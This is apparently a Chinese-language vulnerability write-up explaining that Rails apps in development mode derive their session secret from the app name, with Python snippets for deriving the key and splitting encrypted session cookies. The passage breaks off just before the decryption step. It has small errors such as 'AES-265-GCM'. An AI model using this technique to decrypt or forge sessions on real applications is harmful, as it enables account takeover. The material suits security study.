此漏洞可允许攻击者猜测自动生成的开发模式秘密令牌。
当 Ruby-on-Rails 运行在开发模式时。在开发模式下,攻击者有可能猜测用于保护会话的密钥。
Rails 使用三个环境(development,test,production),当应用使用开发模式时,你能够猜测秘密令牌并解密加密的会话。
用于保护会话的密钥是从应用名称派生出来的。
示例:
rails new Jakom
Jakom:应用名称。
因此,我们可以猜测密钥是生成方法的输出:
PKDF2_HMAC_SHA1[ MD5 [ APPNAME + "::Application" ] , salt: "authenticated encrypted cookie" , iterations: 1000 , key's length: 32 ]
如下所示:
key = pbkdf2_hmac("sha1", md5_name.encode("utf-8"), "authenticated encrypted cookie".encode("utf-8"), 1000, 32)
在 Rails 中,会话使用 AES-265-GCM 加密,如果你拥有密钥,就可以解密/加密会话。
最后你需要知道会话的格式:
BASE64 [ DATA ] -- BASE64 [ IV ] -- BASE64 [ AUTH_TAG ]
如下所示:
data = binascii.hexlify(base64.b64decode(base64_data.split("--")[0])).decode("utf-8")
iv = binascii.hexlify(base64.b64decode(base64_data.split("--")[1])).decode("utf-8")
tag = binascii.hexlify(base64.b64decode(base64_data.split("--")[2])).decode("utf-8")
会话 cookie 的第一部分是加密数据,第二部分是 IV,第三部分是 GCM 标签(认证标签)。
有了这些信息,我们可以直接解密我们的会话:

